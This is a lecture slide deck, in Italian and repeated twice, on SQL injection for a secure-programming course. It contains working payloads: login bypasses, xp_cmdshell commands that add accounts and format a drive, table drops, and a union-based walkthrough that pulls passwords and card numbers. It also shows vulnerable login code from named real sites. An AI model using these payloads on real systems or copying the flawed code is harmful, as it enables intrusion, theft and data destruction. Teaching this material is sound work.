UNIVERSITÀ DI PERUGIA
DIPARTIMENTO DI MATEMATICA E INFORMATICA
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
SQL Injection
Prof. Stefano Bistarelli
C Consiglio Nazionale delle
Ricerche
Iit Istituto di Informatica e Telematica - Pisa
Università “G. d’Annunzio”
Dipartimento di Scienze, Pescara
S. Bistarelli - Metodologie di Secure
Programming
2
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Setup
 User input usato in SQL query
 esempio: login page (ASP)
set ok = execute(“SELECT * FROM UserTable
WHERE username=′ ” & form(“user”) &
“ ′ AND password=′ ” & form(“pwd”) & “ ′ ” );
If not ok.EOF
login success
else fail;
 Quale e’ il problema?
S. Bistarelli - Metodologie di Secure
Programming
3
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Bad input
 Supponiamo user = “ ′ or 1 = 1 -- ” (URL encoded)
 Allora lo scripts ottiene:
ok = execute( SELECT …
WHERE username= ′ ′ or 1=1 -- … )
 poiché è presente ‘- -’ il resto della linea è ignorato.
 ora ok.EOF è sempre falso.
 The bad news: facile login a molti siti in questo modo.
S. Bistarelli - Metodologie di Secure
Programming
4
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Even worse
 Supponiamo user =
′ exec cmdshell
′net user badguy badpwd′ / ADD --
 Allora lo script:
ok = execute( SELECT …
WHERE username= ′ ′ exec … )
se SQL server è eseguito da “sa” o “root”, attaccante ottiene
un account sul DB server.
S. Bistarelli - Metodologie di Secure
Programming
5
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Demonic strings 2
 Remote execution
 '; exec master..xp_cmdshell 'ping 10.10.1.2'–
 Get output
 '; EXEC master..sp_makewebtask "10.10.1.3share
output.html", "SELECT * FROM
INFORMATION_SCHEMA.TABLES"
 Insert data
 ‘; UPDATE 'admin_login' SET 'password' = 'newpas5'
WHERE login_name='neo'–
 Delete data| 
 ';drop table users –
S. Bistarelli - Metodologie di Secure
Programming
6
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Demonic strings 
 ' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
S. Bistarelli - Metodologie di Secure
Programming
7
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Avoiding SQL injection
 Due suggerimenti:
 Query parametriche con parametri tipati e
controllati
 Uso di store procedure parametrizzate
S. Bistarelli - Metodologie di Secure
Programming
8
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Query parametriche
 Build SQL queries by properly escaping args: ′  ′
 Nota: mysql escape = 
 Firebird escape = ‘ 
 Example: Parameterized SQL: (ASP.NET 1.1)
 Ensures SQL arguments are properly escaped.
SqlCommand cmd = new SqlCommand(
"SELECT * FROM UserTable WHERE
username = @User AND
password = @Pwd", dbConnection);
cmd.Parameters.Add("@User", Request[“user”] );
cmd.Parameters.Add("@Pwd", Request[“pwd”] );
cmd.ExecuteReader();
S. Bistarelli - Metodologie di Secure
Programming
9
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Magic quotes e real-escape
 Magic quotes
 file di configurazione php.ini: voce
magic_quotes_gpc
 funzione addslashes() o funzione
mysql_escape_string() su tutte le variabili inserite
in una query SQL.
S. Bistarelli - Metodologie di Secure
Programming
10
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Prepare-execute procedure
pg_query($conn, “PREPARE stmt_name (text) AS
SELECT * FROM users WHERE name=$1”);
pg_query($conn, “EXECUTE stmt_name ({$name})”);
pg_query($conn, “DEALLOCATE stmt_name”);
S. Bistarelli - Metodologie di Secure
Programming
11
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
In genere
 Controllare sempre l’input!!
 Vediamo un esercizio 
S. Bistarelli - Metodologie di Secure
Programming
12
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Fabrikam
 Fabrikam has recently introduced a search
feature into their product database, but
they’ve written it with some rather naïve
code. Your first job will be to exploit the SQL
injection vulnerability so you understand the
implications. Then you’ll go on the defensive
and fix the problem.
S. Bistarelli - Metodologie di Secure
Programming
13
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
 ‘ or 1=1 –
 Good!!
 ‘ union select null –
 Numero campi query sbagliata
 ‘union select null, null –
 ok
 ‘ union select $0, null, null –
 Ora troviamo il tipo dei campi
 ‘ union select null, @@version, null –
 Versione db! Per vulnerabilita’ conosciute
 ' union select null, name, null from sys.databases –
 Che altri db ci sono?
 ‘ union select null, table_name, null from
FabrikamSampleProductDatabase.information_schema.tables --
 Che tabelle nei vari db?
 ' union select null, column_name, null from
FabrikamSampleProductDatabase.information_schema.columns where
table_name='users' --
 Bene che colonne interessanti!! Utenti!
 ' union select null,email+', '+password+', '+cc_type+', '+cc_num+', '+cc_exp+',
'+cc_vcode,null from Users --
S. Bistarelli - Metodologie di Secure
Programming
14
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Some damage 
 ' update products set price=.01 where
description='MP3 Player' --
 Ora possiamo comprare l’mp3 player
 ' exec xp_cmdshell 'net user hacker
P@ssw0rd /add'
 ' exec xp_cmdshell 'format z:'
S. Bistarelli - Metodologie di Secure
Programming
15
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Difesa!!
 Filter input
 searchString = txtSearch.Text; 
 searchString = txtSearch.Text.Replace("'","''");
 sandbox the input data in a parameterized query
 (visualizzazione progettazione, proprieta’ del selectcommand
 select sku, description, price from Products where description like @s
order by price
 Refresh!
 dataSource.SelectCommand = string.Format(
"select sku, description, price from Products where
description like '%{0}%' order by price",
 searchString); 
 dataSource.SelectParameters["s"].DefaultValue = '%' +
searchString + '%';
S. Bistarelli - Metodologie di Secure
Programming
16
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Vediamo gli errori dei miei studenti 
 Esercizio,
 Loggarsi su
 http://gasl.unich.it/progetti/rilevazione-guasti/index.php
 http://gasl.unich.it/progetti/psicologia/Allin1/admin/
index.php
 http://gasl.unich.it/nva/admin/manager/index.php
 http://gasl.unich.it/progetti/psicologia/Allin1/index.php
 http://gasl.unich.it/progetti/magazzino/login.php
S. Bistarelli - Metodologie di Secure
Programming
17
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Vediamo gli errori dei miei studenti 
 Esercizio,
 Loggarsi su
 http://gasl.unich.it/progetti/rilevazione-guasti/index.php
S. Bistarelli - Metodologie di Secure
Programming
18
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Ed ecco il codice
 if (isset($_POST['user']) && isset($_POST['passwd'])) {
 include 'mainfile.php';
 mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono
le variabili definite nel file 'mainfile.php'
 $result=mysql_db_query(DB_NAME,"select * from utenti where
username='$_POST[user]' and passwd='$_POST[passwd]'");
 if (mysql_num_rows($result)!=0)
{ $_SESSION['user']=$_POST['user'];
S. Bistarelli - Metodologie di Secure
Programming
19
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
E qui?
 http://gasl.unich.it/progetti/psicologia/Allin1/ad
min/index.php
S. Bistarelli - Metodologie di Secure
Programming
20
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
 if (isset($_POST['admin_password'])){
 $pwd= $_POST['admin_password'];
 if ((ereg("=", $pwd))) //impedisce l'inserimento di alcuni caratteri
 {
 echo " <script type='text/javascript'> alert ('Hai utilizzato un carattere non valido') </script>";
 session_destroy();
 };
 };
 if (isset($_POST['admin_user']) && isset($_POST['admin_password'])) {
 include '../connessione.php';
 mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'connessione.php'
 $result=mysql_db_query(DB_NAME,"select * from amministratore where admin_user='$_POST[admin_user]' and
admin_password='$_POST[admin_password]'");
 if (mysql_num_rows($result)!=0) { $_SESSION['admin_user']=$_POST['admin_user'];
 ?>
 <script type="text/javascript"> document.location="home_amministratore.php" </script>
S. Bistarelli - Metodologie di Secure
Programming
21
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
 http://gasl.unich.it/nva/admin/manager/
index.php
S. Bistarelli - Metodologie di Secure
Programming
22
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
 $nome_utente = $_POST['username'];
 $password = sha1($_POST['password']);
 $query="SELECT * FROM MANAGER WHERE
NOME_UTENTE='$nome_utente' AND PSWD='$password'";
 $connessione = ibase_query(db_connect(),$query);
 if($row=ibase_fetch_object($connessione))
 {
 $_SESSION['manager']='logged_in';
 $_SESSION['facolta'] = $row->COD_FACOLTA;
 header('Location: genera_cod_step1.php');
 } else
 {
 $msg_login = "<div style='color: red;'>Nome utente e/o password
erra
 ti!</div><br />";
 }
S. Bistarelli - Metodologie di Secure
Programming
23
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
 E qui?
 http://gasl.unich.it/progetti/magazzino/login.php
S. Bistarelli - Metodologie di Secure
Programming
24
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
 if (isset($_POST['pass']))
 {
 $pass=filtraggio($_POST['pass'],50);
 $query=mysql_query("select * from
password where pwd=sha1('$pass')") or
mysql_showerror();
 if ($n=mysql_num_rows($query) > 0)
 {
 $_SESSION['autenticato']=true;
S. Bistarelli - Metodologie di Secure
Programming
25
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
 // funzione controllo SQL Injection per dati tipo stringa
 function filtraggio($str,$val){
 if ( get_magic_quotes_gpc()) {
 $filtro = stripslashes($str);
 $filtro1 =
mysql_real_escape_string(substr($filtro,0,$val));
 }else
 {
 $filtro1 = mysql_real_escape_string(substr($str,0,$val));
 }
 return $filtro1;
 }
S. Bistarelli - Metodologie di Secure
Programming
26
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
 E qui
 http://gasl.unich.it/progetti/psicologia/Allin1/index.
php
S. Bistarelli - Metodologie di Secure
Programming
27
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
 if (isset($_POST['pin'])){
 $pwd= $_POST['pin'];
 if ((ereg("=", $pwd))) //impedisce l'inserimento di alcuni caratteri
 {
 echo " <script type='text/javascript'> alert ('Hai utilizzato un carattere non valido') </script>";
 session_destroy();
 };
 };
 if (isset($_POST['pin'])){
 include 'connessione.php';
 mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel
file 'connessione.
 php'
 $result=mysql_db_query(DB_NAME,"select * from studenti where pin='$_POST[pin]'");
 if (mysql_num_rows($result)!=0) { $_SESSION['pin']=$_POST['pin'];
S. Bistarelli - Metodologie di Secure
Programming
28
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
 function SQL_Injection(){
 foreach ($_POST as $chiave => $elemento) {
 // elimino i caratteri _ e % sensibili per la parola chiave LIKE
 $_POST["$chiave"] = str_replace("%", "", $_POST["$chiave"]);
 //sostituisco le parentesi angolari, onde evitare la creazione d
 i codice html
 $_POST["$chiave"] = str_replace("<", "&lt;", $_POST["$chiave"]);
 $_POST["$chiave"] = str_replace(">", "&gt;", $_POST["$chiave"]);
 //sostituisco ' con `
 $_POST["$chiave"] = str_replace("'", "`", $_POST["$chiave"]);
 //rimuovo gli spazi all'inizio e alla fine
 $_POST["$chiave"] = trim($_POST["$chiave"]);
 // se magic_quotes_gpc è disattivo, mi appoggio a mysql_real_esc
 ape_string() contro attacco di tipo SQL Injection
 //if ( !get_magic_quotes_gpc() ) {
 // e quoto i caratteri  " ' sensibili per php
 //$_POST["$chiave"] = mysql_real_escape_string($_POST["$chiave"]);
 //}
 }
 }


sqlinjectionsqlinjectionsqlinjection.ppt

  • 1.
    UNIVERSITÀ DI PERUGIA DIPARTIMENTODI MATEMATICA E INFORMATICA Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto di Informatica e Telematica - Pisa Università “G. d’Annunzio” Dipartimento di Scienze, Pescara
  • 2.
    S. Bistarelli -Metodologie di Secure Programming 2 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Setup  User input usato in SQL query  esempio: login page (ASP) set ok = execute(“SELECT * FROM UserTable WHERE username=′ ” & form(“user”) & “ ′ AND password=′ ” & form(“pwd”) & “ ′ ” ); If not ok.EOF login success else fail;  Quale e’ il problema?
  • 3.
    S. Bistarelli -Metodologie di Secure Programming 3 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Bad input  Supponiamo user = “ ′ or 1 = 1 -- ” (URL encoded)  Allora lo scripts ottiene: ok = execute( SELECT … WHERE username= ′ ′ or 1=1 -- … )  poiché è presente ‘- -’ il resto della linea è ignorato.  ora ok.EOF è sempre falso.  The bad news: facile login a molti siti in questo modo.
  • 4.
    S. Bistarelli -Metodologie di Secure Programming 4 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Even worse  Supponiamo user = ′ exec cmdshell ′net user badguy badpwd′ / ADD --  Allora lo script: ok = execute( SELECT … WHERE username= ′ ′ exec … ) se SQL server è eseguito da “sa” o “root”, attaccante ottiene un account sul DB server.
  • 5.
    S. Bistarelli -Metodologie di Secure Programming 5 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Demonic strings 2  Remote execution  '; exec master..xp_cmdshell 'ping 10.10.1.2'–  Get output  '; EXEC master..sp_makewebtask "10.10.1.3share output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"  Insert data  ‘; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'–  Delete data|   ';drop table users –
  • 6.
    S. Bistarelli -Metodologie di Secure Programming 6 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Demonic strings   ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a
  • 7.
    S. Bistarelli -Metodologie di Secure Programming 7 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Avoiding SQL injection  Due suggerimenti:  Query parametriche con parametri tipati e controllati  Uso di store procedure parametrizzate
  • 8.
    S. Bistarelli -Metodologie di Secure Programming 8 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Query parametriche  Build SQL queries by properly escaping args: ′  ′  Nota: mysql escape =  Firebird escape = ‘   Example: Parameterized SQL: (ASP.NET 1.1)  Ensures SQL arguments are properly escaped. SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection); cmd.Parameters.Add("@User", Request[“user”] ); cmd.Parameters.Add("@Pwd", Request[“pwd”] ); cmd.ExecuteReader();
  • 9.
    S. Bistarelli -Metodologie di Secure Programming 9 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Magic quotes e real-escape  Magic quotes  file di configurazione php.ini: voce magic_quotes_gpc  funzione addslashes() o funzione mysql_escape_string() su tutte le variabili inserite in una query SQL.
  • 10.
    S. Bistarelli -Metodologie di Secure Programming 10 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Prepare-execute procedure pg_query($conn, “PREPARE stmt_name (text) AS SELECT * FROM users WHERE name=$1”); pg_query($conn, “EXECUTE stmt_name ({$name})”); pg_query($conn, “DEALLOCATE stmt_name”);
  • 11.
    S. Bistarelli -Metodologie di Secure Programming 11 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione In genere  Controllare sempre l’input!!  Vediamo un esercizio 
  • 12.
    S. Bistarelli -Metodologie di Secure Programming 12 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Fabrikam  Fabrikam has recently introduced a search feature into their product database, but they’ve written it with some rather naïve code. Your first job will be to exploit the SQL injection vulnerability so you understand the implications. Then you’ll go on the defensive and fix the problem.
  • 13.
    S. Bistarelli -Metodologie di Secure Programming 13 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione  ‘ or 1=1 –  Good!!  ‘ union select null –  Numero campi query sbagliata  ‘union select null, null –  ok  ‘ union select $0, null, null –  Ora troviamo il tipo dei campi  ‘ union select null, @@version, null –  Versione db! Per vulnerabilita’ conosciute  ' union select null, name, null from sys.databases –  Che altri db ci sono?  ‘ union select null, table_name, null from FabrikamSampleProductDatabase.information_schema.tables --  Che tabelle nei vari db?  ' union select null, column_name, null from FabrikamSampleProductDatabase.information_schema.columns where table_name='users' --  Bene che colonne interessanti!! Utenti!  ' union select null,email+', '+password+', '+cc_type+', '+cc_num+', '+cc_exp+', '+cc_vcode,null from Users --
  • 14.
    S. Bistarelli -Metodologie di Secure Programming 14 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Some damage   ' update products set price=.01 where description='MP3 Player' --  Ora possiamo comprare l’mp3 player  ' exec xp_cmdshell 'net user hacker P@ssw0rd /add'  ' exec xp_cmdshell 'format z:'
  • 15.
    S. Bistarelli -Metodologie di Secure Programming 15 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Difesa!!  Filter input  searchString = txtSearch.Text;   searchString = txtSearch.Text.Replace("'","''");  sandbox the input data in a parameterized query  (visualizzazione progettazione, proprieta’ del selectcommand  select sku, description, price from Products where description like @s order by price  Refresh!  dataSource.SelectCommand = string.Format( "select sku, description, price from Products where description like '%{0}%' order by price",  searchString);   dataSource.SelectParameters["s"].DefaultValue = '%' + searchString + '%';
  • 16.
    S. Bistarelli -Metodologie di Secure Programming 16 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Vediamo gli errori dei miei studenti   Esercizio,  Loggarsi su  http://gasl.unich.it/progetti/rilevazione-guasti/index.php  http://gasl.unich.it/progetti/psicologia/Allin1/admin/ index.php  http://gasl.unich.it/nva/admin/manager/index.php  http://gasl.unich.it/progetti/psicologia/Allin1/index.php  http://gasl.unich.it/progetti/magazzino/login.php
  • 17.
    S. Bistarelli -Metodologie di Secure Programming 17 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Vediamo gli errori dei miei studenti   Esercizio,  Loggarsi su  http://gasl.unich.it/progetti/rilevazione-guasti/index.php
  • 18.
    S. Bistarelli -Metodologie di Secure Programming 18 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Ed ecco il codice  if (isset($_POST['user']) && isset($_POST['passwd'])) {  include 'mainfile.php';  mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'mainfile.php'  $result=mysql_db_query(DB_NAME,"select * from utenti where username='$_POST[user]' and passwd='$_POST[passwd]'");  if (mysql_num_rows($result)!=0) { $_SESSION['user']=$_POST['user'];
  • 19.
    S. Bistarelli -Metodologie di Secure Programming 19 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione E qui?  http://gasl.unich.it/progetti/psicologia/Allin1/ad min/index.php
  • 20.
    S. Bistarelli -Metodologie di Secure Programming 20 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione  if (isset($_POST['admin_password'])){  $pwd= $_POST['admin_password'];  if ((ereg("=", $pwd))) //impedisce l'inserimento di alcuni caratteri  {  echo " <script type='text/javascript'> alert ('Hai utilizzato un carattere non valido') </script>";  session_destroy();  };  };  if (isset($_POST['admin_user']) && isset($_POST['admin_password'])) {  include '../connessione.php';  mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'connessione.php'  $result=mysql_db_query(DB_NAME,"select * from amministratore where admin_user='$_POST[admin_user]' and admin_password='$_POST[admin_password]'");  if (mysql_num_rows($result)!=0) { $_SESSION['admin_user']=$_POST['admin_user'];  ?>  <script type="text/javascript"> document.location="home_amministratore.php" </script>
  • 21.
    S. Bistarelli -Metodologie di Secure Programming 21 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione  http://gasl.unich.it/nva/admin/manager/ index.php
  • 22.
    S. Bistarelli -Metodologie di Secure Programming 22 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione  $nome_utente = $_POST['username'];  $password = sha1($_POST['password']);  $query="SELECT * FROM MANAGER WHERE NOME_UTENTE='$nome_utente' AND PSWD='$password'";  $connessione = ibase_query(db_connect(),$query);  if($row=ibase_fetch_object($connessione))  {  $_SESSION['manager']='logged_in';  $_SESSION['facolta'] = $row->COD_FACOLTA;  header('Location: genera_cod_step1.php');  } else  {  $msg_login = "<div style='color: red;'>Nome utente e/o password erra  ti!</div><br />";  }
  • 23.
    S. Bistarelli -Metodologie di Secure Programming 23 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione  E qui?  http://gasl.unich.it/progetti/magazzino/login.php
  • 24.
    S. Bistarelli -Metodologie di Secure Programming 24 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione  if (isset($_POST['pass']))  {  $pass=filtraggio($_POST['pass'],50);  $query=mysql_query("select * from password where pwd=sha1('$pass')") or mysql_showerror();  if ($n=mysql_num_rows($query) > 0)  {  $_SESSION['autenticato']=true;
  • 25.
    S. Bistarelli -Metodologie di Secure Programming 25 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione  // funzione controllo SQL Injection per dati tipo stringa  function filtraggio($str,$val){  if ( get_magic_quotes_gpc()) {  $filtro = stripslashes($str);  $filtro1 = mysql_real_escape_string(substr($filtro,0,$val));  }else  {  $filtro1 = mysql_real_escape_string(substr($str,0,$val));  }  return $filtro1;  }
  • 26.
    S. Bistarelli -Metodologie di Secure Programming 26 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione  E qui  http://gasl.unich.it/progetti/psicologia/Allin1/index. php
  • 27.
    S. Bistarelli -Metodologie di Secure Programming 27 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione  if (isset($_POST['pin'])){  $pwd= $_POST['pin'];  if ((ereg("=", $pwd))) //impedisce l'inserimento di alcuni caratteri  {  echo " <script type='text/javascript'> alert ('Hai utilizzato un carattere non valido') </script>";  session_destroy();  };  };  if (isset($_POST['pin'])){  include 'connessione.php';  mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'connessione.  php'  $result=mysql_db_query(DB_NAME,"select * from studenti where pin='$_POST[pin]'");  if (mysql_num_rows($result)!=0) { $_SESSION['pin']=$_POST['pin'];
  • 28.
    S. Bistarelli -Metodologie di Secure Programming 28 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione  function SQL_Injection(){  foreach ($_POST as $chiave => $elemento) {  // elimino i caratteri _ e % sensibili per la parola chiave LIKE  $_POST["$chiave"] = str_replace("%", "", $_POST["$chiave"]);  //sostituisco le parentesi angolari, onde evitare la creazione d  i codice html  $_POST["$chiave"] = str_replace("<", "&lt;", $_POST["$chiave"]);  $_POST["$chiave"] = str_replace(">", "&gt;", $_POST["$chiave"]);  //sostituisco ' con `  $_POST["$chiave"] = str_replace("'", "`", $_POST["$chiave"]);  //rimuovo gli spazi all'inizio e alla fine  $_POST["$chiave"] = trim($_POST["$chiave"]);  // se magic_quotes_gpc è disattivo, mi appoggio a mysql_real_esc  ape_string() contro attacco di tipo SQL Injection  //if ( !get_magic_quotes_gpc() ) {  // e quoto i caratteri " ' sensibili per php  //$_POST["$chiave"] = mysql_real_escape_string($_POST["$chiave"]);  //}  }  } 

Editor's Notes

  • #2 This snipet is in VB.
  • #8 Escapes with \. ‘ -> \’ . DB independent --- different DB’s have different rules for escaping. This snipet is in C#